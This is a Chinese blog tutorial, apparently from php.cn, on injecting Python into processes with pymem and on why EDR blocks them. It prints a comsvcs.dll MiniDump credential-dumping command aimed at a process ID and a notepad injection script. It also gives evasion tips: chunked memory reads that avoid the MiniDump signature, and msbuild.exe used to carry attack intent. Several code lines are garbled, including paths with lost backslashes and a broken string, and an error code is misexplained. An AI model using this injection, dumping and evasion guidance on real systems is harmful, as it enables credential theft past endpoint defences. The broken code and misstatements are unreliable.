Python 进程注入实战与 EDR 规避原理剖析

星杰君_6755

星杰君_6755

2026-09-26

752人浏览

原创

Python 进程注入实战与 EDR 规避原理剖析

本文详解使用 pymem 实现 python 进程注入的关键步骤、常见失效原因(如 rundll32 调用静默失败),并从 edr 检测逻辑出发,说明为何硬编码高危命令必然触发告警,强调合法红队研究中“行为隐蔽性”优于“指令绕过”的核心原则。

本文详解使用 pymem 实现 python 进程注入的关键步骤、常见失效原因(如 rundll32 调用静默失败),并从 edr 检测逻辑出发,说明为何硬编码高危命令必然触发告警,强调合法红队研究中“行为隐蔽性”优于“指令绕过”的核心原则。

在红队评估与安全研究中,进程注入(Process Injection)是验证防御体系有效性的重要技术手段。但需明确前提:所有操作必须在授权范围内进行,严禁用于未授权系统或规避合规检测。本文聚焦技术原理分析与合法调试实践。

为什么 rundll32 ... comsvcs.dll, MiniDump 在注入后“静默失效”?

你的脚本中以下代码无法执行:

os.system('rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 988 C:\dump.dmp full')

根本原因并非语法错误,而是 执行上下文与权限隔离导致的调用链断裂:

  • pymem.inject_python_shellcode() 注入的是纯 Python 字节码,在目标进程(notepad.exe)的 Python 解释器环境中运行;
  • os.system() 会启动新进程(cmd.exe → rundll32.exe),而该子进程继承的是 notepad 的受限令牌(Low Integrity Level),且无 GUI 桌面会话权限;
  • 更关键的是:EDR 通常在 进程创建(CreateProcess)阶段 就监控 rundll32.exe 的可疑参数(如 comsvcs.dll, MiniDump),一旦匹配特征即拦截或终止——但该拦截发生在 os.system 启动子进程时,父进程(注入的 Python 环境)不会抛出异常,仅返回非零退出码,导致“看似无反应”。

✅ 验证方式(调试必备):

import os
import subprocess

try:
    # 替换为带错误捕获的调用
    result = subprocess.run(
        ['rundll32.exe', 'C:\windows\System32\comsvcs.dll', 'MiniDump', '988', 'C:\dump.dmp', 'full'],
        capture_output=True,
        text=True,
        timeout=10
    )
    print("Return code:", result.returncode)
    print("Stdout:", result.stdout)
    print("Stderr:", result.stderr)
except Exception as e:
    print("Exception:", str(e))

你大概率会看到 returncode = -1073741502(STATUS_DLL_NOT_FOUND 或访问拒绝),而非成功转储。

Python Testing
Python Testing

Python 测试速查:运行 pytest、使用 mock/patch、参数化、fixtures、异步、覆盖率测试。

下载

正确的注入实践:聚焦可控、低特征、可审计

目标 推荐方案 安全优势
✅ 验证注入是否生效 写入内存日志 / 调用 Beep() / 修改窗口标题 无磁盘/网络/进程创建行为,EDR 几乎不告警
✅ 获取进程信息 psutil.Process(988).memory_info() 使用合法库,调用系统 API(NtQueryInformationProcess)
✅ 执行轻量命令 subprocess.run(['whoami'], capture_output=True) 避免 rundll32、powershell -enc 等高危载荷
⚠️ 转储内存(仅授权环境) 使用 pymem.pattern.scan_module() + pm.read_bytes() 分段读取 绕过 MiniDump API 调用,不触发 comsvcs.dll 特征

示例:安全验证注入(替代原 shellcode)

import pymem
import subprocess
import os

# 注入后执行可信验证逻辑
def safe_verification():
    try:
        # 1. 写入标记文件(路径需存在且有写权限)
        with open(r"C:TestRulepymem_injected.txt", "w") as f:
            f.write(f"Injected at {os.getcwd()}
PID: {os.getpid()}")

        # 2. 查询自身进程信息(无副作用)
        result = subprocess.run(['tasklist', '/FI', 'PID eq 988'], 
                              capture_output=True, text=True)
        if result.returncode == 0:
            print("[+] Process query succeeded")

        # 3. 调用 Windows API Beep(需 pymem 加载 kernel32)
        pm.kernel32.Beep(500, 300)  # 若成功,主机将发出提示音

        return True
    except Exception as e:
        print(f"[!] Verification failed: {e}")
        return False

# 主流程(精简版)
notepad = subprocess.Popen(['notepad.exe'])
pm = pymem.Pymem('notepad.exe')
pm.inject_python_interpreter()
pm.inject_python_shellcode("import os; os.system('echo injected')")  # 仅作基础测试
safe_verification()  # 执行多维度验证
notepad.terminate()

关键注意事项与最佳实践

  • ? 路径转义必须规范:Windows 路径中的 在 Python 字符串中需写为 \ 或使用原始字符串 r"C:path";
  • ? 避免硬编码高危字符串:comsvcs.dll、MiniDump、powershell -enc、certutil -decode 等均为 EDR 黄金特征,静态扫描即可拦截;
  • ? 优先使用内存操作替代进程创建:pymem.read_bytes() / write_bytes() / scan_pattern() 等 API 不触发进程监控;
  • ?️ EDR 规避 ≠ 命令混淆:现代 EDR(如 CrowdStrike、Microsoft Defender for Endpoint)基于行为图谱(Process Tree + API Call Sequence + Code Integrity)建模,单点绕过毫无意义;
  • ? 合规前提不可省略:所有注入实验应在离线靶机、授权红队平台或自建 Windows Sandbox 中进行,禁止外联生产环境。

? 总结:真正的“规避”,源于对 EDR 检测逻辑的理解——不是让恶意命令跑通,而是让合法行为承载攻击意图。例如:用 msbuild.exe 加载合法 C# 项目执行内存操作,比硬编码 rundll32 更难被归因为攻击。持续学习 Awesome EDR Bypass 中的检测绕过原理,远胜于尝试“让被拦截的命令强行执行”。

请始终牢记:安全研究的终极目标,是提升防御水位,而非突破它。

Python免费学习笔记(深入):立即使用
在学习笔记中,你将探索 Python 的核心概念和高级技巧!

相关文章

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

python

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
python打包成可执行文件
python打包成可执行文件

本专题为大家带来python打包成可执行文件相关的文章,大家可以免费的下载体验。

2023.07.20

1591

4

python能做什么
python能做什么

python能做的有:可用于开发基于控制台的应用程序、多媒体部分开发、用于开发基于Web的应用程序、使用python处理数据、系统编程等等。本专题为大家提供python相关的各种文章、以及下载和课程。

2023.07.25

3804

7

format在python中的用法
format在python中的用法

Python中的format是一种字符串格式化方法,用于将变量或值插入到字符串中的占位符位置。通过format方法,我们可以动态地构建字符串,使其包含不同值。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2023.07.31

1589

3

python教程
python教程

Python已成为一门网红语言,即使是在非编程开发者当中,也掀起了一股学习的热潮。本专题为大家带来python教程的相关文章,大家可以免费体验学习。

2023.08.03

21957

23

python环境变量的配置
python环境变量的配置

Python是一种流行的编程语言,被广泛用于软件开发、数据分析和科学计算等领域。在安装Python之后,我们需要配置环境变量,以便在任何位置都能够访问Python的可执行文件。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.04

2707

5

python eval
python eval

eval函数是Python中一个非常强大的函数,它可以将字符串作为Python代码进行执行,实现动态编程的效果。然而,由于其潜在的安全风险和性能问题,需要谨慎使用。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.04

2747

5

scratch和python区别
scratch和python区别

scratch和python的区别:1、scratch是一种专为初学者设计的图形化编程语言,python是一种文本编程语言;2、scratch使用的是基于积木的编程语法,python采用更加传统的文本编程语法等等。本专题为大家提供scratch和python相关的文章、下载、课程内容,供大家免费下载体验。

2023.08.11

1103

5

python合并两个列表
python合并两个列表

Python是一种强大的编程语言,具有许多方便的功能和工具。在Python中,有多种方法可以合并两个列表。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.10

596

4

python是前端还是后端
python是前端还是后端

Python属于前端也属于后端,其灵活性和丰富的生态系统使得开发人员能够在不同的领域中灵活运用。本专题为大家提供python相关的文章、下载、课程内容,供大家免费下载体验。

2023.08.11

2123

5

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程